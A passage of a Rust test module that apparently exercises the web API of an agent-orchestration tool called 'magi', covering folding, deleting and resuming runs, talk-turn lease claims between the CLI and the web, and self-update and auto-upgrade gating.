21385 assert!(
21386 missing.is_empty(),
21387 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21388 never put in `refs` - every card will throw and the list will \
21389 render empty under a count line that says otherwise. Published: \
21390 {published:?}"
21391 );
21392 }
21393
21394 #[tokio::test]
21395 async fn folding_from_the_phone_reports_what_it_removed() {
21396 let fx = Fixture::start().await;
21397 let runs = fx.runs();
21398
21399 let id = "20260901-000000-fold";
21403 write_run(&runs, id, RunStatus::Stalled);
21404 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21405 assert_eq!(res.status, 200);
21406 assert_eq!(res.json()["removed_count"], 0);
21407 assert_eq!(res.json()["run"], id);
21408 assert!(
21409 runs.join(id).exists(),
21410 "a fold keeps the run's record; only the worktrees go"
21411 );
21412 }
21413
21414 #[tokio::test]
21415 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21416 let fx = Fixture::start().await;
21417 let runs = fx.runs();
21418 let wt = fx.home.path().join("wt").join("magi").join("dead");
21419 let id = "20260901-000000-dead";
21420 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21421 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21422 std::fs::create_dir_all(&wt).expect("worktree dir");
21423
21424 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21425 assert_eq!(res.status, 200, "{}", res.body);
21426 assert!(
21427 res.json()["removed_count"].as_u64().unwrap() > 0,
21428 "the worktree this build could not read a state for still went"
21429 );
21430 assert!(
21431 !runs.join(id).exists(),
21432 "an unreadable run has no candidate list to fold selectively, so \
21433 the whole record goes - same as `magi fold` on the CLI"
21434 );
21435 }
21436
21437 #[tokio::test]
21438 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21439 let fx = Fixture::start().await;
21440 let runs = fx.runs();
21441 let wt = fx.home.path().join("wt").join("magi").join("gone");
21442 let id = "20260901-000000-gone";
21443 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21444 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21445 std::fs::create_dir_all(&wt).expect("worktree dir");
21446
21447 let res = fx.delete(&format!("/api/runs/{id}")).await;
21448 assert_eq!(res.status, 204, "{}", res.body);
21449 assert!(!runs.join(id).exists(), "the broken record is gone");
21450 assert!(!wt.exists(), "its worktree is gone too");
21451 }
21452
21453 #[tokio::test]
21454 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21455 let fx = Fixture::start().await;
21456 let runs = fx.runs();
21457 let id = "20260901-000000-live";
21458 write_run(&runs, id, RunStatus::Implementing);
21459
21460 let mut beat = crate::daemon::Status::new();
21461 beat.current = vec![crate::daemon::Current {
21462 task: "20260901-000000-task".to_owned(),
21463 run: id.to_owned(),
21464 }];
21465 beat.updated_at = jiff::Timestamp::now();
21466 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21467 .expect("publish a heartbeat");
21468
21469 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21470 assert_eq!(res.status, 409);
21471 assert!(
21472 res.json()["error"]
21473 .as_str()
21474 .unwrap()
21475 .contains("live daemon"),
21476 "folding under a running agent would pull its worktree away"
21477 );
21478 }
21479
21480 #[tokio::test]
21481 async fn fold_merged_requires_a_pr_url() {
21482 let fx = Fixture::start().await;
21483 let runs = fx.runs();
21484 let id = "20260901-000000-nourl";
21485 write_run(&runs, id, RunStatus::Blocked);
21486
21487 let res = fx
21488 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21489 .await;
21490 assert_eq!(res.status, 400, "{}", res.body);
21491
21492 let blank = fx
21493 .post(
21494 &format!("/api/runs/{id}/fold-merged"),
21495 Some(r#"{"pr_url":" "}"#),
21496 )
21497 .await;
21498 assert_eq!(blank.status, 400, "{}", blank.body);
21499 }
21500
21501 #[tokio::test]
21502 async fn fold_merged_is_404_for_an_unknown_run() {
21503 let fx = Fixture::start().await;
21504 let res = fx
21505 .post(
21506 "/api/runs/nosuchrun/fold-merged",
21507 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21508 )
21509 .await;
21510 assert_eq!(res.status, 404, "{}", res.body);
21511 }
21512
21513 #[tokio::test]
21514 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21515 let fx = Fixture::start().await;
21516 let runs = fx.runs();
21517 let id = "20260901-000000-livemerge";
21518 write_run(&runs, id, RunStatus::Blocked);
21519
21520 let mut beat = crate::daemon::Status::new();
21521 beat.current = vec![crate::daemon::Current {
21522 task: "20260901-000000-task".to_owned(),
21523 run: id.to_owned(),
21524 }];
21525 beat.updated_at = jiff::Timestamp::now();
21526 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21527 .expect("publish a heartbeat");
21528
21529 let res = fx
21530 .post(
21531 &format!("/api/runs/{id}/fold-merged"),
21532 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21533 )
21534 .await;
21535 assert_eq!(res.status, 409, "{}", res.body);
21536 assert!(
21537 res.json()["error"]
21538 .as_str()
21539 .unwrap()
21540 .contains("live daemon"),
21541 "correcting a run's merge underneath a running agent would race \
21542 whatever it is doing to the same `status`/`merge` fields"
21543 );
21544 }
21545
21546 #[tokio::test]
21551 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21552 let fx = Fixture::start().await;
21553 let runs = fx.runs();
21554 let id = "20260901-000000-unconfirmed";
21555 write_run(&runs, id, RunStatus::Blocked);
21556
21557 let res = fx
21558 .post(
21559 &format!("/api/runs/{id}/fold-merged"),
21560 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21561 )
21562 .await;
21563 assert_eq!(res.status, 400, "{}", res.body);
21564 assert_eq!(
21565 read_run(&runs, id).unwrap().status,
21566 RunStatus::Blocked,
21567 "a pull request that could not be confirmed merged must leave \
21568 the run exactly where it was"
21569 );
21570 }
21571
21572 #[tokio::test]
21573 async fn terminal_runs_cannot_be_resumed() {
21574 let fx = Fixture::start().await;
21575 let runs = fx.runs();
21576
21577 for (status, word) in [
21578 (RunStatus::Merged, "merged"),
21579 (RunStatus::Ready, "ready"),
21580 (RunStatus::Failed, "failed"),
21581 ] {
21582 let id = format!("20260901-000000-{}", &word[..4]);
21583 write_run(&runs, &id, status);
21584 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21585 assert_eq!(res.status, 409, "{word} must not be resumable");
21586 }
21587 }
21588
21589 #[tokio::test]
21590 async fn resume_is_refused_while_the_loop_is_running() {
21591 let fx = Fixture::start().await;
21592 let runs = fx.runs();
21593 let stalled = "20260901-000000-stal";
21594 write_run(&runs, stalled, RunStatus::Stalled);
21595
21596 let mut beat = crate::daemon::Status::new();
21600 beat.current = vec![crate::daemon::Current {
21601 task: "20260901-000000-task".to_owned(),
21602 run: "20260901-000000-othr".to_owned(),
21603 }];
21604 beat.updated_at = jiff::Timestamp::now();
21605 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21606 .expect("publish a heartbeat");
21607
21608 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21609 assert_eq!(res.status, 409);
21610 let err = res.json()["error"].as_str().unwrap().to_owned();
21611 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21612 assert!(err.contains("stop it first"), "{err}");
21613 }
21614
21615 #[test]
21616 fn a_run_cannot_be_resumed_twice_at_once() {
21617 let home = TempDir::new().expect("temp home");
21618 let ui = Ui::new(
21619 Queue::at(home.path().join("queue")),
21620 Questions::at(home.path().join("questions")),
21621 Talks::at(home.path().join("talks")),
21622 home.path().join("runs"),
21623 home.path().to_path_buf(),
21624 PathBuf::from("/repo"),
21625 )
21626 .with_worktrees_root(home.path().join("wt"));
21627 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21628 let again = ui.begin_resume("20260901-000000-once");
21629 assert!(again.is_err(), "a second tap must not start a second graph");
21630 drop(first);
21631 assert!(
21632 ui.begin_resume("20260901-000000-once").is_ok(),
21633 "and the claim is released when the attempt ends"
21634 );
21635 }
21636
21637 #[test]
21638 fn talk_thinking_tracks_only_its_held_turn_claim() {
21639 let home = TempDir::new().expect("temp home");
21640 let ui = Ui::new(
21641 Queue::at(home.path().join("queue")),
21642 Questions::at(home.path().join("questions")),
21643 Talks::at(home.path().join("talks")),
21644 home.path().join("runs"),
21645 home.path().to_path_buf(),
21646 PathBuf::from("/repo"),
21647 )
21648 .with_worktrees_root(home.path().join("wt"));
21649 let id = "20260901-000000-once";
21650
21651 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21652 let turn = ui.begin_talk_turn(id).expect("claim turn");
21653 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21654 assert!(
21655 !ui.is_thinking("20260901-000000-other"),
21656 "one talk's turn does not make another talk busy"
21657 );
21658 drop(turn);
21659 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21660 }
21661
21662 #[test]
21663 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21664 let home = TempDir::new().expect("temp home");
21665 let talks = Talks::at(home.path().join("talks"));
21666 let ui = Ui::new(
21667 Queue::at(home.path().join("queue")),
21668 Questions::at(home.path().join("questions")),
21669 talks.clone(),
21670 home.path().join("runs"),
21671 home.path().to_path_buf(),
21672 PathBuf::from("/repo"),
21673 )
21674 .with_worktrees_root(home.path().join("wt"));
21675 let id = "20260901-000000-cross";
21676
21677 let other = Talks::at(home.path().join("talks"))
21678 .claim_turn(id)
21679 .expect("claim")
21680 .expect("the other process wins");
21681 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21682 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21683 assert!(
21684 matches!(
21685 ui.begin_talk_turn_unless_pending(id).expect("start"),
21686 TalkTurnStart::Foreign
21687 ),
21688 "a foreign holder is refused, not queued behind"
21689 );
21690 assert!(
21691 !ui.talk_turns.lock().unwrap().live.contains(id),
21692 "a refused claim leaves no in-process entry behind"
21693 );
21694 drop(other);
21695 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21696 assert!(talks.turn_held(id), "the web turn holds the lease");
21697 drop(turn);
21698 assert!(
21699 !talks.turn_held(id),
21700 "dropping the guard releases the lease"
21701 );
21702 }
21703
21704 fn consult_question(ui: &Ui) -> Question {
21705 let mut q = Question::new(
21706 "20260901-000000-consult".to_owned(),
21707 "implement".to_owned(),
21708 "impl-A".to_owned(),
21709 "Which backend?".to_owned(),
21710 String::new(),
21711 vec!["SQLite".to_owned(), "Redis".to_owned()],
21712 );
21713 ui.questions.put(&mut q).expect("question");
21714 q
21715 }
21716
21717 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21718 (
21719 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21720 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21721 )
21722 }
21723
21724 #[tokio::test]
21725 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21726 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21727 let q = consult_question(&ui);
21728 let talk = ui.talks.get(&id).expect("talk");
21729 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21730 let before = consult_snapshot(&ui, &q, &id);
21731 let cli_talks = Talks::at(ui.home.join("talks"));
21732 assert_eq!(
21733 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21734 .await
21735 .expect("CLI starter"),
21736 crate::consult::Started::Busy
21737 );
21738 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21739 assert!(ui.is_thinking(&id));
21740 drop(guard);
21741 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21742 }
21743
21744 #[tokio::test]
21745 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21746 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21747 let q = consult_question(&ui);
21748 let talk = ui.talks.get(&id).expect("talk");
21749 let started = tmp.path().join("started");
21750 let release = tmp.path().join("release");
21751 let script = tmp.path().join("consult-agent.sh");
21752 std::fs::write(
21753 &script,
21754 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21755 )
21756 .expect("script");
21757 let mut cfg = stub_config();
21758 cfg.agents[0].id = "mock".to_owned();
21759 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21760 cfg.agents[0].env = std::collections::BTreeMap::from([
21761 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21762 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21763 ]);
21764 let questions = ui.questions.clone();
21765 let cli_talks = Talks::at(ui.home.join("talks"));
21766 let cli_q = q.clone();
21767 let turn = tokio::spawn(async move {
21768 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21769 });
21770 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21771 while !started.exists() {
21772 tokio::time::sleep(Duration::from_millis(10)).await;
21773 }
21774 })
21775 .await;
21776 let refusal = if ready.is_ok() {
21779 let before = consult_snapshot(&ui, &q, &id);
21780 let result = talk_say(
21781 State(Arc::clone(&ui)),
21782 Path(id.clone()),
21783 Ok(Json(NewTalkTurn {
21784 reply_to: None,
21785 text: "another message".to_owned(),
21786 attachments: Vec::new(),
21787 })),
21788 )
21789 .await;
21790 Some((result, before, consult_snapshot(&ui, &q, &id)))
21791 } else {
21792 None
21793 };
21794 std::fs::write(&release, "").expect("release agent");
21795 let done = turn.await.expect("join CLI turn");
21796 ready.expect("agent started before deadline");
21797 let (result, before, after) = refusal.expect("web request");
21798 let error = result.expect_err("web must refuse the CLI's turn");
21799 assert_eq!(error.status, StatusCode::CONFLICT);
21800 assert!(error.message.contains("a turn is already running"));
21801 assert_eq!(
21802 after, before,
21803 "refusal preserves question, draft and history"
21804 );
21805 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21806 let guard = ui
21807 .begin_talk_turn(&id)
21808 .expect("web claim")
21809 .expect("free again");
21810 drop(guard);
21811 }
21812
21813 #[test]
21814 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21815 let home = TempDir::new().expect("temp home");
21816 let talks = Talks::at(home.path().join("talks"));
21817 let ui = Ui::new(
21818 Queue::at(home.path().join("queue")),
21819 Questions::at(home.path().join("questions")),
21820 talks.clone(),
21821 home.path().join("runs"),
21822 home.path().to_path_buf(),
21823 PathBuf::from("/repo"),
21824 )
21825 .with_worktrees_root(home.path().join("wt"));
21826 let id = "20260901-000000-order";
21827 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21828 let slots = ui.talk_turns.lock().unwrap();
21830 let dropper = std::thread::spawn(move || drop(turn));
21831 let start = std::time::Instant::now();
21832 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21833 std::thread::sleep(Duration::from_millis(5));
21834 }
21835 assert!(!talks.turn_held(id), "the lease is released first");
21836 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21837 drop(slots);
21838 dropper.join().expect("join");
21839 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21840 }
21841
21842 #[tokio::test]
21843 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21844 let fx = Fixture::start().await;
21845 let mut beat = crate::daemon::Status::new();
21846 beat.worker_protocol = None;
21847 beat.pid = 4321;
21848 beat.updated_at = jiff::Timestamp::now();
21849 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21850 .expect("publish a heartbeat");
21851
21852 let res = fx.post("/api/upgrade", None).await;
21853 assert_eq!(res.status, 409);
21854 }
21855
21856 #[test]
21863 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21864 assert!(!should_spawn_recheck(&crate::config::Update {
21865 mode: UpdateMode::Off,
21866 interval: None,
21867 auto_restart: false,
21868 }));
21869
21870 unsafe {
21873 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21874 }
21875 let killed = should_spawn_recheck(&crate::config::Update {
21876 mode: UpdateMode::Notify,
21877 interval: None,
21878 auto_restart: false,
21879 });
21880 unsafe {
21881 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21882 }
21883 assert!(
21884 !killed,
21885 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21886 one-time startup check"
21887 );
21888
21889 assert!(should_spawn_recheck(&crate::config::Update {
21890 mode: UpdateMode::Notify,
21891 interval: None,
21892 auto_restart: false,
21893 }));
21894 }
21895
21896 #[test]
21902 fn recheck_poll_period_tracks_a_short_configured_interval() {
21903 let short = crate::config::Update {
21904 mode: UpdateMode::Notify,
21905 interval: Some("1m".to_owned()),
21906 auto_restart: false,
21907 };
21908 let period = recheck_poll_period(&short);
21909 assert!(
21910 period <= Duration::from_secs(30),
21911 "a one-minute interval must wake the task far sooner than the \
21912 default ceiling, or the deck would not notice within the \
21913 interval the operator configured: got {period:?}"
21914 );
21915
21916 let default = crate::config::Update {
21917 mode: UpdateMode::Notify,
21918 interval: None,
21919 auto_restart: false,
21920 };
21921 assert_eq!(
21922 recheck_poll_period(&default),
21923 UPDATE_RECHECK_POLL_MAX,
21924 "the default day-long interval should poll at the (capped) \
21925 ceiling rather than needlessly often"
21926 );
21927 }
21928
21929 #[test]
21937 fn recheck_skips_the_network_before_the_interval_elapses() {
21938 let dir = TempDir::new().expect("temp dir");
21939 let path = dir.path().join("state.json");
21940 let state = kaishin::UpdateCheckState {
21941 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21942 last_known_latest: None,
21943 last_known_url: None,
21944 };
21945 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21946
21947 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21948 assert!(
21949 !update_recheck_due(&checker, None),
21950 "a check made moments ago must not be repeated before the \
21951 configured interval elapses"
21952 );
21953 }
21954
21955 #[test]
21961 fn recheck_defers_to_an_upgrade_already_in_flight() {
21962 let dir = TempDir::new().expect("temp dir");
21963 let path = dir.path().join("state.json");
21964 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21965 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21966
21967 assert!(
21968 !update_recheck_due(&checker, Some(&progress)),
21969 "a recheck must not run while an upgrade this deck started is \
21970 still moving"
21971 );
21972 }
21973
21974 #[tokio::test]
21975 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21976 unsafe {
21988 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21989 }
21990 let fx = Fixture::start().await;
21991 let res = fx.post("/api/upgrade", None).await;
21992 unsafe {
21993 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21994 }
21995 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21996 let body = res.json();
21997 assert!(body["to"].is_null(), "there was no release to move to");
21998 assert!(body["parked"].is_null(), "and nothing was parked");
21999 assert!(
22000 body["detail"]
22001 .as_str()
22002 .unwrap()
22003 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22004 "{body:?}"
22005 );
22006 }
22007
22008 #[test]
22009 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22010 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22011 let mut cfg = Update::default();
22012 assert!(matches!(
22013 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22014 Skip(_)
22015 ));
22016 cfg.auto_restart = true;
22017 assert_eq!(
22018 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22019 Trigger
22020 );
22021 assert_eq!(
22022 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22023 Wait
22024 );
22025 for (disabled, moving, failed) in [
22026 (true, false, None),
22027 (false, true, None),
22028 (false, false, Some("v2")),
22029 ] {
22030 assert!(matches!(
22031 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22032 Skip(_)
22033 ));
22034 }
22035 assert_eq!(
22036 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22037 Trigger
22038 );
22039 cfg.mode = UpdateMode::Off;
22040 assert!(matches!(
22041 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22042 Skip(_)
22043 ));
22044 }
22045
22046 #[test]
22047 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22048 let home = TempDir::new().unwrap();
22049 let ui = idle_ui(&home);
22050 assert!(!ui.auto_upgrade_busy());
22051 let directory = home.path().join("workers/jobs/abcdef");
22052 std::fs::create_dir_all(&directory).unwrap();
22053 let mut job = crate::worker::Job {
22054 id: "abcdef".into(),
22055 sequence: 1,
22056 kind: "scheduler".into(),
22057 key: "scheduler".into(),
22058 payload: serde_json::json!({}),
22059 generation: "test".into(),
22060 version: None,
22061 status: crate::worker::Status::Running,
22062 result: None,
22063 pid: None,
22064 created_at: 0,
22065 finished_at: None,
22066 };
22067 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22068 let write = |job: &crate::worker::Job| {
22069 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22070 };
22071 write(&job);
22072 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22073 for kind in ["task", "chat"] {
22074 job.kind = kind.into();
22075 write(&job);
22076 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22077 }
22078 drop(lease);
22079 let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22085 loop {
22086 let probe = std::fs::OpenOptions::new()
22087 .read(true)
22088 .write(true)
22089 .open(directory.join("live.lock"))
22090 .unwrap();
22091 if crate::pr_head::try_lock_file(&probe).is_ok() {
22092 break;
22093 }
22094 assert!(
22095 std::time::Instant::now() < free,
22096 "the worker lease was never released"
22097 );
22098 std::thread::sleep(std::time::Duration::from_millis(5));
22099 }
22100 assert!(
22101 !ui.auto_upgrade_busy(),
22102 "completed execution permits updates"
22103 );
22104 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22105 assert!(
22106 ui.auto_upgrade_busy(),
22107 "unreadable worker state defers updates"
22108 );
22109 }
22110
22111 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22112 Box::pin(async { anyhow::bail!("test installer failed") })
22113 }
22114
22115 #[tokio::test]
22116 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22117 let home = TempDir::new().unwrap();
22118 std::fs::write(
22119 home.path().join("magi.toml"),
22120 "[update]\nauto_restart = true\n",
22121 )
22122 .unwrap();
22123 let mut ui = idle_ui(&home);
22124 ui.repo = home.path().to_path_buf();
22125 ui.upgrade_runner = fail_test_upgrade;
22127 let ui = Arc::new(ui);
22128 let latest = || {
22129 Some(kaishin::LatestRelease {
22130 tag_name: "v999.0.0".into(),
22131 html_url: String::new(),
22132 })
22133 };
22134 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22135 assert_eq!(
22136 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22137 .await
22138 .status(),
22139 StatusCode::NO_CONTENT
22140 );
22141 assert!(updater::read_progress(home.path()).is_none());
22142 ui.talk_turns.lock().unwrap().live.clear();
22143 let gate = ui.upgrade_gate.lock().await;
22144 assert_eq!(
22145 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22146 .await
22147 .status(),
22148 StatusCode::CONFLICT
22149 );
22150 drop(gate);
22151 assert_eq!(
22152 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22153 .await
22154 .status(),
22155 StatusCode::ACCEPTED
22156 );
22157 let progress = updater::read_progress(home.path()).unwrap();
22158 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22159 assert_eq!(progress.stage, updater::Stage::Downloading);
22160 assert!(progress.parked_run.is_none());
22161 assert!(ui.start_detached_loop().await.is_err());
22162 assert!(ui.start_loop(None).is_err());
22163 assert!(ui.begin_resume("late").is_err());
22164 tokio::time::timeout(Duration::from_secs(2), async {
22165 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22166 tokio::task::yield_now().await;
22167 }
22168 })
22169 .await
22170 .unwrap();
22171 let progress = updater::read_progress(home.path()).unwrap();
22172 assert_eq!(progress.stage, updater::Stage::Failed);
22173 assert_eq!(
22174 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22175 .await
22176 .status(),
22177 StatusCode::NO_CONTENT
22178 );
22179 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22181 assert_eq!(
22182 finish_upgrade_request(&ui, result).status(),
22183 StatusCode::ACCEPTED
22184 );
22185 assert_eq!(
22186 updater::read_progress(home.path()).unwrap().trigger,
22187 updater::UpgradeTrigger::Manual
22188 );
22189 tokio::time::timeout(Duration::from_secs(2), async {
22190 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22191 tokio::task::yield_now().await;
22192 }
22193 })
22194 .await
22195 .unwrap();
22196 }
22197
22198 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22199 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22200 p.stage = stage;
22201 p
22202 }
22203
22204 #[test]
22205 fn busy_stages_match_the_ui_set() {
22206 use crate::updater::Stage;
22207 assert!(APP_JS.contains(
22208 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22209 ));
22210 for s in [
22211 Stage::Downloading,
22212 Stage::Replaced,
22213 Stage::Parking,
22214 Stage::Restarting,
22215 ] {
22216 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22217 }
22218 for s in [Stage::Done, Stage::Failed] {
22219 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22220 }
22221 assert!(upgrade_in_motion(None).is_none());
22222 }
22223
22224 #[tokio::test]
22225 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22226 use crate::updater::Stage;
22227 for stage in [
22228 Stage::Downloading,
22229 Stage::Replaced,
22230 Stage::Parking,
22231 Stage::Restarting,
22232 ] {
22233 let fx = Fixture::start().await;
22234 let seeded = seeded_progress(stage);
22235 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22236 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22237 .expect("read");
22238
22239 let res = fx.post("/api/upgrade", None).await;
22240 assert_eq!(res.status, 409, "{stage:?}");
22241 let err = res.json()["error"].as_str().unwrap().to_owned();
22242 assert!(err.contains("already in progress"), "{err}");
22243 assert!(err.contains(stage.as_str()), "{err}");
22244
22245 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22246 .expect("read");
22247 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22248 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22249 .unwrap_or_default();
22250 assert!(!log.contains("signalling HANDOVER"), "{log}");
22251 }
22252 }
22253
22254 #[test]
22255 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22256 assert_eq!(
22257 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22258 Some(3723)
22259 );
22260 assert_eq!(
22261 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22262 Some(60)
22263 );
22264 assert_eq!(
22265 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22266 Some(0)
22267 );
22268 for message in [
22269 "permission denied",
22270 "GitHub API rate limit exceeded",
22271 "GitHub rate limit (resets in unknown)",
22272 "GitHub rate limit (resets in 18446744073709551615d)",
22273 ] {
22274 assert_eq!(upgrade_retry_after(message), None, "{message}");
22275 }
22276 }
22277
22278 #[tokio::test]
22279 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22280 let home = TempDir::new().unwrap();
22281 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22282 ui.start_loop(None).unwrap();
22283 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22284 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22285 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22286 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22287 let response = finish_upgrade_request(&ui, result);
22288 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22289 assert_eq!(response.headers()["retry-after"], "120");
22290 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22291 .await
22292 .unwrap();
22293 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22294 assert!(body["error"].as_str().unwrap().contains(reason));
22295 assert_eq!(body["retry_after_secs"], 120);
22296 assert!(body["retry_at"].as_u64().is_some());
22297 for _ in 0..2 {
22298 let view = health(State(ui.clone())).await.unwrap().0;
22299 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22300 assert_eq!(failure, body);
22301 }
22302 assert_eq!(
22303 std::fs::read(updater::progress_path(home.path())).unwrap(),
22304 before
22305 );
22306 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22307 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22308 let gate = ui.upgrade_gate.lock().await;
22310 assert_eq!(
22311 upgrade_post(State(ui.clone())).await.status(),
22312 StatusCode::CONFLICT
22313 );
22314 drop(gate);
22315 assert!(
22316 health(State(ui.clone()))
22317 .await
22318 .unwrap()
22319 .0
22320 .upgrade_request_error
22321 .is_some()
22322 );
22323 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22324 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
